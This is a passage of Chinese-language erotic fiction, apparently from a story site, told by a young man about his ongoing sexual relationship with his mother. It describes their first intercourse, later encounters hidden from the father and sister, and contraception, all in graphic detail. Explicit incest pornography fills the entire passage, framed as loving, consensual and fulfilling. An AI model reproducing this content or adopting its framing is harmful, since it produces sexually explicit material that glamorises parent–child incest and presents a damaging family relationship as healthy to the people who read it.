  我再也忍不住,低头下去吻住了妈的下体,就像平时与妈亲吻一样,尝试变换不同角度去品尝她丰厚的双唇。刚亲下去时妈的下腹部往内缩了一下,在眼角的余光中我捕捉到了妈用双手按在自己嘴上,不让自己呼出声来的举动。

  第一次帮妈口交可谓全无章法,只顾着让我的双唇和舌头尽情品尝面前的美鲍; 渐渐的嘴巴酸了,可是妈妈好像没有要高潮的意思。

  还好我急中生智,赶忙改变战术;用嘴唇和舌头急中火力攻击阴蒂的当下,联合手掌挤按整个阴部。多次的经验使我学会只舔深处不是妈最敏感的地方,屄口与小阴唇内侧才是她高潮的关键。这招两面夹攻果然让妈再也矜持不住,没有两分钟就攀上顶峰了。

  在口交的快感中妈曲卷着娇躯,身体频繁的抽搐着;从她鼻头细密的汗水和双颊与胸间的一片潮红,看来妈可是痛快的高潮了一次。我得意的上下巡视着自己的杰作,心中充满着自豪;男人除了工作上的表现之外,还有什么能比让女人欲仙欲死更有成就感的呢?

  正当我还在考虑接下来要来点什么其它节目时,客厅传来钥匙开门的声响,我跳了起来,抬头一看原来已经快十一点了,急忙拉了条薄被把妈盖上,再飞快的套上衣服与裤子。

  我故意提高声音对妈说:「那就这样决定喽。」
  随手把妈的三角裤塞入口袋里,若无其事的出了妈房间。

  姊见我从妈房里出来后随口问道「你跟妈决定了什么?」

  「没有啦,周末要请妈去看电影啦。」我随意敷衍道。

  姊调侃道「外面追不到女孩子就朝妈下手啊?」
  「下你的头啦,只不过尽点孝道而已,哪像某人啊…真是女大不中留啊,唉……啊!」气还没叹完就被姊赏了一个癞痢。

  「死小孩,敢管你姊?」姊说完头也不回的进房间去了。

  「你现在好歹也是个护士,能不能学着温柔点啊?」我朝着她的背影抱怨着。

  那晚算是有惊无险,不过为了圆谎,周末只好真的带妈出去看电影。

  出门前我再次为妈淡雅又年轻的打扮赞叹不已;一件绣花柔纱的浅色针织上衣搭配下半身深色的七分裤,看起来像三十出头的少妇。看完电影后我又带她去逛夜市,由于妈穿的是一双黑色的露趾高跟鞋,所以让她可爱的脚趾显得更加白嫩;我突然想起之前亲吻妈脚趾的那晚来,小弟弟不禁有些蠢蠢欲动。后来逛街时抓着机会就盯着妈的小腿和脚趾看。

  回到家已经九点多了,妈直接进了自己房间;因为姊已经回医院上班了,所以我洗好澡敲了敲妈房门就进去了。进入房间第一眼就看到早已洗好的妈正倚在床上翻看着杂志,我爬上床拥着她,习惯性的把头凑近妈颈项间嗅闻着妈的体香。

  妈一边笑一边问:「今天干嘛一直像个色情狂一样猛盯着我的脚看?」

  「呵……我也不知道……只是觉得妈的脚很好看很诱人……」

  说完我就转到妈脚边,捧起妈的玉足像前一个礼拜一般,再次搓揉吸吮起妈的白嫩脚ㄚ来。妈忍不住痒,不断娇笑着。我亲完她的腿后,妈也很配合地让我又一次美美的品尝了一顿肥美的鲍鱼大餐。

  事后我侧躺在妈身边,以手支着头,静静欣赏妈从做爱中恢复的诱人美景。

  随着高潮逐渐平复。妈一双白腻美腿也渐渐伸直,只不过不像往常般并拢起来,诱人双腿依旧岔开着。看妈差不多恢复了,我示意妈要她俯卧在床上,妈此时冷不防伸手把我拉到她身上去了,接着就和我甜蜜的亲吻起来,边亲还边温柔的把我翻转到她身下,双腿跨在我腰旁。

  双方舌头无法避免的交缠起来;小弟弟已经变得无比坚挺,急需冲刺的号角。我奋力把妈按在床上,只是妈还是不肯配合翻过身去。我露骨又俏皮的警告着双眼微眯的妈,说她再不听话的话,我就要直接刺进去坏了她的贞操。

  没想到妈听完之后竟然闭上双眼、脸转一边去了。

  我那时楞了一下,那可是妈默许的暗示啊!
  当时心脏噗通、噗通的极速跳跃着,我咽了一口口水开始正天人交战起来:「躺在身下的可不是普通的女人,她可是我的亲身母亲!真的要插吗?进去以后可就没有回头路了……可是这成熟的母体不正是我第一次性交的最佳良伴吗?

  还会有比兹意奔放,无拘无束的驰骋在爱母的身上,更让人有性交的经验吗?不管了,就算是会错意,或者事后妈会后悔,我也要亲尝这娇美无方的尤物、享用她熟透的肉体,我要好好肉搏身下的俏妈咪。」

  电光火石之间,已经克服了终极心理障碍的我,保持上身姿势不变,大腿并拢起来,把双膝放在妈双腿间然后慢慢张开,妈果然缓缓的配合着我把自己的大腿打开了,我弓起腰身,用一支手扶助怒涨的鸡巴, 如今应派上了用场。

  顺利的让鸡巴抵住了妈的浪屄口后,我一边看着妈的脸,一边缓缓的把鸡巴推入妈的浪屄,直到全根尽入为止。心中哦哦哦的大喊着,整个过程真是爽到极点。

  那个晚上我们做了三次,听妈说好像只用了十五分钟不到;日后偶尔让妈在床上求饶时,她就把这拿出来调侃我,如果我还不放过她,妈就会腻声的轻唤:「闪电侠、闪电侠……」这可恨的名字会让我在三秒以内软下来,而且屡试不爽。

  跟妈有固定性生活半年后,我终于想到要帮妈算她的安全期,第一次问她要怎么算时她还笑着问为什么?我说因为我会在意妈的身体健康啊,她马上就显得很感动。妈的经期通常来的还蛮准的,正常状况下大概只有一两天的差距,然后五天就差不多干净了。

  学会帮忙算自然就会避免于危险时期在妈体内射精,那时候以为只要没有射进去就不会怀孕,不晓得只要插进去就有一定的危险,甚至只是用鸡巴「敲个门」都不保证安全。得知这个讯息后跑去问妈她知不知道时,妈还一脸正经说她怎么会不知道,我讶异的问她难道她都不怕怀孕吗?她才像恶作剧被发现般咯咯的笑个不停。

  原来妈在得知父亲外遇之后在沈重的打击与极度的沮丧之下月事整个都乱掉了,还好读护理系的姊姊请教她们导师之后,让妈服用低剂量的避孕药帮忙调经。经期比较正常后,她偶尔不顺还是会吃几次。

  答应和我性交的前一晚刚好有吃,所以隔天跟我发生性关系她一点也没担心怀孕的问题。但从那晚开始她就吃起长效的避孕药了。听完妈的解释我当时马上提出抗议,假装不满的问她既然如此,那为什么不干脆每次都让我射进去?

  妈白了我一眼说:「你就只顾着自己舒服。」
  「难道你不舒服吗?」我抱着妈说道。
  妈捏了我一下似笑非笑地说:「有什么好舒服的?」

  「不跟我说那小心我以后通通射进去哦……」我假装威胁着。

  「死小鬼,你敢?」妈一副吃定我的样子。
  我见妈怎样都不肯老实交代原因,只好狠狠用嘴蹂躏她的樱唇一番才作罢。

  当我逐渐了解人情世故,就越来越明白妈心理的秘密。妈其实是个控制欲有点强的人;虽然父亲外遇问题主要还是出在父亲身上,但是这种控制欲不能说完全无份。

  从跟妈有亲密关系开始,妈就尝试掌握着亲密关系所能发生的时间。有了性关系之后,不只是时间,妈几乎也控制了地点与次数。妈没要求我带套[主要是因为她自己觉得不舒服],所以能不能内射自然变成控制的手段了。

  这样讲起来妈好像有点可怕,不过其实她算是很迁就我的了,或许是父亲的背叛让她多少有点领悟,以致于在与我的关系中改进了不少。

  另外我一直都待在妈身边也是个很重要的因素,长期跑船的父亲在两个孩子出生时都不在,这多少让妈比较没有安全感。我的不离不弃自然让她放心不少。

  如今想起也难怪在与妈彼此分享母子肏屄的欢愉之后,让我应像深刻的不外乎是让妈迁就我的那几次。

  回忆篇

  回顾过去,甚至不管将来如何;应该没什么能比妈和我的第一次更让人印象深刻吧。第一次进入妈体内时,老实说我也不知道是紧还是不紧,没跟其他女生做过就没有比较的对象。

  有同学说跟处女的第一次会有被「握住」的感觉,那就叫紧;如果是那样的话,那妈不紧,但是妈当时也已经好几年没跟人欢好过了,所以印象中虽然很顺利的就进入妈了,但是也有一种周围到处是肉肉的感觉

  其实「紧致度」都是事后努力回想的,第一次最主要感受到的还是妈体内的温热与滑润,说滑润是因在妈身上累积了一定的经验后,体会出再进入被内射过的阴道会有湿滑的感觉;至于前戏充足的「第一次进入」感觉就不一样,虽然也是滑,但不会有水水的那种湿。

  总而言之刚开始妈的阴道会比较浓稠一点。回到正题;不知已经在脑袋里演练多少回与妈的第一次,等到真的亲身体验才发现什么是:疾如风,徐如林,侵掠如火,不快才怪!不管先前幻想自己会有多厉害,第一次与妈交媾应该没超过一分钟,短短的几十秒里,除了鸡巴上强烈的快感外,心灵上的快感也带来巨大的冲击。

  我只要想到那时在我身下承受我杂乱无章、轻重不一的攻击的,是一位全然熟透的女人。又想到妈在我进入她体内前想必已经做好了某种心理准备,那让我更濒射精边缘。

  最后我稍微抬头看了一眼妈,只见她一双秀眉微蹙,虽然双目紧闭但睫毛却微微颤动着,双唇轻启,似要哼却哼不出声来。那幅致命的景象让我根本无法再忍,只知道紧抱着妈,下身用力的抵在她双腿之间就在妈体内爆浆了。

  那次真的感觉射了好多好多,可能比初次在妈臀沟间摩擦射的还多。鸡巴射完之后依然坚挺,我用嘴轻轻的吻着妈,来表达对她慷慨布施自身嫩屄的感激,妈大方的接受着我的爱怜。这样没多久,屁股又开始不由自主的挺动起来。

  第二次就比较好了,但也没坚持超过五分钟就又在妈娇美无比的身躯上败下阵来。由于我很想让妈也来一次高潮,所以从妈体内退出后仍旧拥着她不让她起身清理;稍事休息兼作好心理准备,我与妈三度共执周公之礼。

  记得第三次时我很谨慎的缓慢挺动着,可是有好几次依旧在强大的快感刺激下不得不紧急煞车。就这样断断续续了好一阵子。

  母子毕竟连心,妈体会出我的用意与执着,她亲了亲我的脸颊,接着柔柔的在我耳边说了声:「傻孩子。」随后拥抱着我,抬起她修长的美腿环绕在我臀部上,不知怎么使力的,我只觉得妈胵腔里像是夹了我一下又像是吸了我一下,我喔的一声很不甘心的再次爽射在妈体内深处。

  从妈身上翻下来躺在她身边,妈起身把头枕在我胸膛上好一会儿,才进浴室洗澡去了。虽然疲惫不堪,但我还是等到妈洗完才去浴室清洗,后来只记得那个晚上是抱着妈睡的。一直睡到隔天早上接近十一点才起床。

  接下来几个礼拜妈说她感觉又回到了新婚燕尔的日子。

  我们打破了以前的默契,两三天就要做一次。
  妈其实对于自己身体的反应和我在床上的进步很感讶异;做爱过程中妈并没有刻意的引导我,不过她感觉得到我的动作越来越温柔,每一次都可以让她更舒服更向高潮靠近一点。

  最让她不解的是她自己的身体;我可以说完全没有技术,只单纯靠着年轻的体力。即使如此妈还是觉得快感连连,所以当妈第三个礼拜第一次被我送上高潮时,妈有一些惊讶,但又不是那么惊讶。

  刚开始和她有性关系时,最让我疯狂的是鸡巴在她嫩屄里的快感,直到后来才变成享受和妈这个女人性爱肏屄的感觉,可以说我之前偏向感官上的享受。很庆幸的是后来变成了肉体和精神方面的双重享受;后者真的让人比较满足。

  妈却和我相反,一开始先是心灵上的满足,性交方面的快感后来才跟进。妈说她在父亲身上没找着的,没想到竟然在儿子身上找到了。

  我取代了父亲的位子,让妈对我的亲情上又参入了男女之间最深的爱情,那种母子间亲情和爱情交织的感觉让她身不由己,所以她虽然一直避免去面对,可是她内心深处知道我们之间的性交是迟早会发生的事。

  也因为爱的缘故,妈曾经问了一个让我又爱又怜的问题

  她问我第一次给了不是处女的她会不会有点遗憾?

  我不断重复的保证因为我也爱她所以一点遗憾也没有,又编了牵强的理由说如果与我欢好的是一个处女的话,第一次不免哀这痛那的,搞不好会让我有心理阴影;但是因为我的「初阵」给的是她,所以到现在回忆起来还是有无尽的甜蜜和感动。这些安慰好像很烂,不过那时妈似乎很满意的样子。

  随着大学里课业越来越忙

  母子之间的**又回到每个周末里的夜晚。
  随着爱与欲的增添,每一次亲密不再只限于性交上的交流,我和妈也会于做爱的空档之中彼此分享那一个礼拜各自遭遇到的大小事。随着时光推移,我们彼此间也开始坦然分享肏屄的心理路程。

  有一回我问妈她是什么时候开始考虑或愿意和我肏屄的?妈除了上面说过的原因之外,还说她第一次勇敢的面对母子性交的可能性和后果是在答应让我帮她口交之后。她说除了妇产科医生之外,一个女人若是愿意敞开双腿,让自己的私密处完全暴露在你眼里好让你仔细欣赏的话,那她也一定接受了和你发生性关系的可能。

  所以那个晚上当她答应我让我看她下体,并享受了我的口舌服务后,只要我主动开口要求,或者有任何想要和她共赴巫山、云雨一番的暗示,我都绝对能成功的占有她。只是我没有那么做,那让她有一点遗憾的同时,也有一些欣慰;她了解到我不是个会「趁人之危」的人,所以她对于把自己交给我更加放心了。

  说到舔妈下体,大概是因为我们每回几乎都是洗完澡才做,所以印象中妈的下体总是带着一股肥皂的清香。至于尝起来味道就要看是什么时候舔的。像妈月经刚过的时候下体是没有味道的,最多就是让我舔到出水后会有一点咸咸的味道加上有一种不知道如何形容的气味,姑且称作性费洛蒙吧!

  不过说到水其实也不像,妈下体分泌的阴液是透明的,新鲜时会滑滑的不过久了就变成黏黏的了,反正是有点像蛋白加了水的感觉。一般来说,除了妈兴奋时会有淡淡的咸味之外,偶尔会有一种轻微像酸乳的味道,这还是我吃过原味优格之后才想起的。

  妈味道最重的时候是大热天流了一身汗之后,不过那时谁都不会是香的。另外大概就是经期要来之前,那时她的下体会有一股淡淡的腥味,不过我倒是从来没有因此而拒绝帮她舔下面过。

  很清楚记得问过妈说,被插进去是什么感觉,她起先还不肯说,直到受不了我游走在她身上的双手,与不断纠缠她的密吻她才坦白说那一晚很难形容。在心理上觉得和自己儿子肏屄有种说不上来的古怪感;她一方面感觉有点害怕,认为我们之间或许不应该这样。可是另一方面她又带着突破禁忌的罪恶感,期待着我的进入。

  在生理上,她只知道她心跳的好快好夸张,像是要跳出胸腔一般。等我进入时,她有点紧张,平常帮我打手枪知道我粗度一般,可是长度比较长、鸡巴也比较大[我心里明白所谓「比较」,唯一的对比就是爸的了],所以她决定不曲起腿来,只是平躺分开在我跨旁。说实在我只记得妈确实心跳的非常快,但却不记得她的腿是怎么摆的了。

  妈也问过我关于我最深刻的印象,当然第一次除外。我说去姊所在的县市玩,顺道去看姊的那次。说到这儿妈马上就想起来了,想起来后还瞪了我一眼,让我哈哈大笑说妈怎么那么会记仇?

  妈瞪我是因为那次要从旅馆要回家的时候,我想说离退房还有三个小时,就硬是在那张双人床上推倒了妈,妈让我半推半就的进入她之前,她叫我不要射进去。

  我原本也是那么想的,可是不知道是不是因为太刺激的缘故,在抽出只剩下龟头的时候射了出来,那时干脆一不做二不休再次挺入,把剩下的浓精一滴不剩的都射进妈蜜屄里去了。

  射的时候很爽,射完之后很不好意思,只好向妈道歉。

  妈只是没好气的瞪我一眼说:「就知道你会这样。」

  后来她去厕所清理一下,结果没想到在厕所里惊呼一声,原来是我看错时间,她想原本离退房起码还要一个小时,结果只剩十分钟,所以她只大概清理了一下就穿好衣服冲忙拉着我退房去了!

  之后我们搭火车回去,一路上妈都没好气的看着我,我还在想或许是因为我在那么冲忙的情况下还有兴致,而且竟然没有遵守诺言所以妈生气了,回程上我使尽浑身解数想要逗她转怒为喜,只是好像不怎么有效。

  过了些日子以后,妈才解释说其实她并不是因为那场匆忙的性交,或者我没有遵守承诺而生气,她是气是我看错时间,如果时间只剩不到俩小时,她不可能会让我得逞。

  至于违约的事,因为出来玩的缘故她忘了吃避孕药,所以她那时半推半就其实是在算自己的排卵期,但我一直亲她所以她根本没法好好算,只大概知道自己那时应该是处于安全期,但是又不能十分肯定,所以才叫我不要射进去。

  后来被内射其实她也就算了,可是因为我算错时间,结果让她根本没法好好洗个澡,也没时间让我射进去的那一大股精液流出来,就只能随便抹两下就迫于时间赶紧穿好衣服退房。

  后来到了车站她想去厕所清理一下,只是没想到里面人不但多,而且看上去也很不干净,她只好以小碎步去贩卖部买了一包卫生棉,进入厕所隔间里贴上卫生棉就出来了。

  在火车上其实妈一直紧绷着神经,因为火车刚起动没多久她就感到我的精液要流出来了,虽然有卫生棉可以吸一下,但是她怕有异味,这味道不知道的人就算了,有经验的人是不会闻错的,所以她的紧张可想而知。

  为了惩罚我,她整整两个礼拜不准我碰她。
  现在想起来确实有点得不偿失。

  第三顺位的记忆就属我和妈几次「偷情」的经验了,整个状况不能不说是既诡异又刺激。老姊结婚时,父亲早已和妈正式离婚了;房子和存款都给了妈,父亲某种程度上算是和他外面的女人重新出发了。

  可是当姊要嫁给她男朋友前,对方家属不但要求爸和妈一定要一起出席,婚礼前四十九天也一定要住一起,免得爸妈的「坏运」传给新人。对方家属在诸如聘金、嫁妆和喜酒与婚期[爸要挪时间休假]的事上都很好沟通,可就那两点不能退让。最后搞的妈没办法只好答应,所以那几十天家里很有些尴尬

  白天爸有时回那个女人的家,有时跟朋友出去
  而我要上课、赶报告。

  夜里母子二人各睡自己房间,父亲睡客厅。
  由于晚上爸在家,所以我当然没有和母亲欢好的机会。一个多礼拜后实在有点精虫上脑了,在确定爸熟睡了之后,我偷偷摸进妈房间里,心想就算不真的性交让妈用手帮我打出来也可以啊。进妈房间发现她也睡熟了,只好跑去妈浴室拿她换洗下来的胸罩、内裤打手枪。

  第二天晚上摸进去发现妈还是睡着的,只好继续拿妈换下来还没洗的内裤去发泄了。过了两天我又进去妈房间补充新鲜内裤时,妈突然从床上坐起并打开床头灯,这举动吓了我一跳。

  妈好气又好笑的看着我,原来妈没睡啊。
  我当然兴奋的马上扑上去抱着妈,妈温柔的反抱着我问我想她啦?

  我拼命的点头说好想好想。又问妈说妈怎么没睡?

  妈说因为她要抓一个变态的内衣大盗。
  我笑着一直作势要抠她痒,那让妈小声但又咯咯的笑个不停。

  妈说爸晚上都在家她也没办法,等爸离开后她会好好补偿我。

  我退而求其次让她帮我打手枪

  妈答应了,只是要脱她睡衣与睡裤时妈没许我,她说临时要穿不方便。

  那晚,妈才帮我打出来一次就把我赶回去了。
  过后我决定去百货公司买了一件短袖V领看起来像洋装的睡衣给妈,接下来几晚想要找机会给妈穿上,却不知道为什么爸总是很晚睡,让我一直没办法摸进妈房间。又过了几天到了周末,爸说他要去朋友家打牌,这就代表我和妈有好几个小时的独处时间。

  我把那件睡衣拿给妈时,妈好奇的问我为什么要买这种款式的?

  因为那件双色条纹的睡衣并不暴露,不像我这色儿子会买的款式。

  我说这件很方便:妈只要把V领下的扭扣打开就可以让胸部露出来,再把裙子提起来我就可以跟她爱爱了。万一紧急,裙子一放,扣上几颗扭扣妈就回覆原样,妈听完后笑骂我真是费尽心机。

  那个下午我们热情的做了几次,妈当时的感度很好,第二次就被我送上高潮了,两个小时性交加谈心的过程里,妈总共高潮了三次,后来她说她真的腿软了,我才放过她。说放过其实我也精疲力尽了。

  第四个礼拜的周末,爸早上出门后一直到晚上十点多才醉醺醺的回到家,他摇摇晃晃的洗完澡出来没多久就睡了。见到爸这样我自然心中窃喜,等他开始打鼾之后,我摸进妈房间,妈还没睡,正坐在梳妆台前擦保养品

  她见是我进来了,奇怪的问我说你爸呢?
  我说他喝的醉醺醺回来,现在已经睡着了。
  我突然注意到妈身上穿的是我买给她的睡衣,我色眯眯的看着妈,妈没好气的看了我一眼,站起来走出房门确定爸真的睡死了,才又回到房间里把门轻声关上,又把锁扭上。我看见自然兴奋起来,坏笑着把妈抱到床上,妈也嗤嗤的笑着

  正当我在妈脸上和脖子间亲吻着她时,她轻柔的推了推我,藏不住脸上的笑意说:「妈有答应让你乱来吗?」

  「妈…」我轻声的抗议着。

  「如果现在不许你乱来,你会强暴妈喽?」
  「唉…好吧,真的不行的话,那你要用手帮我弄出来,爸走了之后你还要让我内射十次才可以。」

  「内你的大头啦。」妈轻敲了我头一下。
  我一点也没有生气,只是很温柔的看着面前的女人,感受着和她打情骂俏的幸福滋味。见我这样,妈一下子变得出奇妩媚,眼中好像有水波流转,以致于她主动吻了我一下。接着妈跨坐在我身上,倾下身来和我来了个法式湿吻,我隔着睡衣双手不断的在妈粉背与俏臀上抚摸着。

  不知过了多久,妈起身自己脱了那件我买的睡衣,让她丰满的双乳在我眼前弹跳出来,又在我眼前褪下了她那件粉色的低腰平口内裤。我正要脱掉我自己的衣服时,妈阻止了我,却亲自动手帮我脱去我所有的衣物,当妈与我保持女上男下的姿势并裸呈相见后,妈微微抬起臀部,用纤纤素手扶助了我的鸡巴,让鸡巴对准她的淫屄然后徐徐坐下。

  每回妈用这个姿势都会一边坐、一边稍微挑整角度好让她能一次就完全把我纳入。才坐好,妈就把我扶在她腰边的双手拿下,和我十指交扣着缓缓扭动起来,我闭上眼舒服的享受着妈的服务。

  被制伏在妈身下的我刚开始不觉有任何异样,过了几分钟才觉得自己完全没有主动权;妈在我身上不时变换着角度、频率甚至深浅度。睁开眼发现妈一双美眸目不转睛的看着我,脸上表情有一点媚荡、一点满足还有一点欣快;贝齿轻咬着下唇,整个人投入在那场征服中。

  我试着调整呼吸,努力去想其它事,尽可能撑住看谁先输给谁,只是我太天真而妈太厉害;经验丰富的她怎可能拿我没办法?我正想要如何挺过第十分钟,结果鸡巴被妈毫无预警的夹了两下,立时就把浓稠的化不开的爱欲释放在妈体内深处。

  全部射完了,妈这才呼吸紊乱的倒在我身边,我知道妈其实也处在高原期了,所以我伸手下去抚摸妈交媾后淫水横流的嫩屄。果不其然,我一下子就在手掌间的湿滑娇嫩中再次挺立了起来

  我急忙翻身让妈仰面躺好,用手把妈的美腿曲起从膝盖处分开,然后放在跪坐在她双腿间的我的大腿上。我再次深深的占有了这个让人垂涎的美妇,每一下起伏都不快但很扎实的顶撞在妈的浪屄深处。

  为了报复妈刚才对我的征服,我直接在妈最敏感的耳朵与脖子上用嘴吸着、用舌舔着。妈有些招架不住,呼吸越发紊乱;这样火热的交缠让母子俩都浑然忘我起来,大概是太忘我了吧,我脱口在她耳边唤了声「妈」,没想到妈听到后下半身抽了一下,通常这代表一分钟以内她就要高潮了。

  我开始有一声没一声的在她耳边低语着「妈」或者是「我的好妈咪」之类的,同时加快力道与速度。没想妈原本搭在我胸前的双手一下子绕到我背后抱住我,十只手指扣住我的背肌。些微的刺痛使快感降低了少许,这让我更加大胆冲刺起来。只听妈这时好像有点失神的娇喘着,还一边嗯嗯嗯地哼出一点声音。

  心理与生理的快感一浪还比一浪高的冲击着妈,终于感到妈缩在我腰腹旁的大腿绷紧了些,接着她的背拱了起来,整个身体也都跟着绷紧了,然后妈就开始在高潮中抖动抽搐着。

  快速的性交此时才告一段落;我稍微抬起身来,让妈轻松一点,房间里只剩下我们母子俩的喘息声。随着呼吸逐渐平息,我让鸡巴慢慢的滑出妈的嫩屄,然后温柔的从妈身上翻下,侧躺在妈身边,欣赏着妈肏屄的余韵

  潮红的性交因为喘息而快速的起伏着,圆润饱满的乳房也随之轻轻颤动着;妈四肢无力的摊在床上,下体被我奋力冲锋过后只剩一片狼藉,而妈的淫水早已泛滥到床单上了。那时心想我永远都不会忘了这一次的肏屄性交。

  剩下的三个星期,每个周末妈都像变了一个人似的。

  她只要看着熟睡中的父亲,心理仅剩的一点怨愤就会转化成浓烈的欲火,以致于就算姊出嫁前两个礼拜也回到家住,但只要父女俩进入熟睡,妈就会悄悄的和我欢好,有时在她房间,有时甚至会主动出击在我房间里。

  这种特殊状况下我发现妈不怎么需要前戏,只要亲吻与爱抚几分钟,就可以让我提枪上妈了,平常不怎么让我使用的「老汉推车」此时她通常会答应我。在这样的做爱中,她都一定会用她平时不常用的女上位来让自己快速的产生一次做爱。

  妈每一次都会慢慢坐下让母子之间享受着那种缓慢套入的感觉;全根尽入之后妈会调整一下身体的角度,双手此时也一定会和我的手掌来个十指交会。奇妙的是这快乐的梅开二度中,妈每次都能比我先达高潮,虽然有可能是因为之前我已经射过。

  我注意到在这样的姿势下,只要妈要做爱了她就会放开我的手,俯下身来紧紧将我抱住,紧接着就可以享受妈膣腔里一阵又一阵的收缩与筋麾。

  这样的夜晚里,只要我状况好,让她做爱两三次没有问题

  而妈每次都无一例外的让我在她体内射精。
  在这么强烈的做爱中并在多次做爱的冲击之下,她总是会腿软,接下来,不管我怎么继续挺动我的臀部,她都没有办法再曲起她修长的双腿了。双脚只能软软的分开在床上,并不断的喘息着直到受不了我的需索,腻声招唤出终极魔兽「闪电侠」为止。

  等她回覆过来之后,妈会套上她的内裤睡衣并直接回房里睡觉,躺在自己的床上,在做爱之后的睡意下,慢慢享受着儿子射入体内浓郁的精浆转化成精水,然后缓缓的从做爱深处流出的感觉。

  姊婚后一切归于正常,爸也回到那个女人身边,而我和妈再也没享受过那么无与伦比的做爱。这持续直到我和妈找着新的「偷情」方法之后,我们才再次体会了那种饥渴与俩人一起做爱的幸福。

  现在我跟妈过的很好,我毕业后在一家小公司上班。

  现正努力存钱好凭自身的力量和妈去度当初没法给她的蜜月。

上一篇我为你伤心下一篇【内射女上司】